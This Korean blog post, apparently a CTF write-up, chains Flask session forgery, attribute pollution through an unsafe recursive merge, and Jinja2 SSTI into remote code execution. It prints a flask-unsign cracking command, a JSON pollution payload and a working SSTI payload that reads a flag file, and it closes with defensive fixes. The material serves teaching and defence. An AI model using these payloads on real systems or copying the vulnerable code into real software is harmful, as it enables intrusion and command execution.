Flask 보안 취약점 분석: CandyShop CTF에서 Session 위조, Prototype Pollution, SSTI 연쇄 공격

Flask Session 메커니즘의 함정

Flask는 클라이언트 측에 저장되는 signed cookie 기반 세션을 사용한다. 서버 부담은 줄지만, SECRET_KEY의 기밀성이 전부를 좌우한다. 서명만 있을 뿐 암호화가 아니므로 쿠키 내용은 누구나 열람 가능하며, 키가 유출되면 위조도 가능해진다.

from flask import Flask, session
import os

srv = Flask(__name__)
# 위험: 짧고 추측 가능한 키
srv.secret_key = 'candy2024'

Python에서의 Prototype Pollution 유사 취약점

JavaScript의 __proto__와 달리 Python은 클래스 속성 덮어쓰기를 통해 유사한 공격이 가능하다. 사용자 입력을 재귀적으로 객체에 병합할 때, __class____init__ 같은 특수 속성을 통제하면 예상치 못한 동작이 발생한다.

def deep_combine(base, overlay):
    for attr, val in overlay.items():
        if isinstance(val, dict) and hasattr(base, attr):
            nested = getattr(base, attr)
            if isinstance(nested, dict):
                deep_combine(nested, val)
                continue
        # 위험: 검증 없이 임의 속성 설정
        setattr(base, attr, val)

동적 템플릿 렌더링의 위험성

render_template_string()은 문자열을 즉시 템플릿으로 해석한다. 사용자 입력이 여기로 흘러 들어가면 SSTI가 성립한다.

from flask import render_template_string, request

@srv.route('/greet')
def greet():
    visitor = request.args.get('user', 'Visitor')
    # SSTI 유발: 사용자 입력을 템플릿 문자열에 직접 삽입
    html = f"<p>Welcome, {visitor}!</p>"
    return render_template_string(html)

CandyShop 공격 시나리오: 3단계 연쇄 공격

단계 1: 키 추측으로 세션 위조

애플리케이션의 SECRET_KEY'candy2024'로 고정되어 있다. flask-unsign으로 무차별 대입하면 순식간에 복원된다.

# 세션 쿠키 디코딩 및 위조
$ flask-unsign --decode --cookie '.eJw...' --wordlist rockyou.txt

복원된 키로 admin 플래그가 포함된 세션을 새로 서명하면 관리자 권한 획득.

단계 2: 관리자 기능에서의 객체 속성 오염

관리자 전용 제품 설정 API가 deep_combine을 사용해 클라이언트 JSON을 서버 객체에 병합한다. 다음 페이로드로 jinja2.environment의 캐싱 메커니즘을 조작한다.

POST /api/admin/product-config
Content-Type: application/json

{
  "template_cache": {
    "__class__": {
      "__init__": {
        "__globals__": {
          "os": {"system": "id"}
        }
      }
    }
  }
}

단계 3: 오염된 캐시를 통한 SSTI → RCE

오염된 캐시 항목이 실제 템플릿 렌더링에 활용되는 순간, SSTI가 트리거된다. 공격자는 Jinja2 필터 체인을 이용해 셸 명령 실행.

# 요청
GET /invoice?tpl={{request.application.__class__.__mro__[-1].__subclasses__()[137].__init__.__globals__['os'].popen('cat /flag.txt').read()}}

# 응답: CTF{ch4in3d_vu1n3r4b1l1ty_3xpl01t3d}

방어 전략

취약점방어책
약한 SECRET_KEY환경 변수에서 32바이트 이상 난수 로드, 주기적 교체
객체 속성 오염허용 목록(whitelist) 기반 병합, __로 시작하는 속성 차단
SSTIrender_template() 고수, 사용자 입력은 템플릿 변수로 전달
# 안전한 템플릿 렌더링 예시
from markupsafe import Markup

@srv.route('/safe-greet')
def safe_greet():
    visitor = request.args.get('user', 'Visitor')
    # 사용자 입력을 템플릿 문자열이 아닌 변수로 전달
    return render_template('greeting.html', name=Markup.escape(visitor))
# 안전한 객체 병합 예시
ALLOWED_KEYS = {'title', 'price', 'description'}

def safe_combine(base, overlay):
    for attr in overlay:
        if attr not in ALLOWED_KEYS or attr.startswith('__'):
            raise ValueError(f"Forbidden key: {attr}")
        setattr(base, attr, overlay[attr])

태그: flask Session-Forgery prototype-pollution SSTI Jinja2

6월 21일 18:26에 게시됨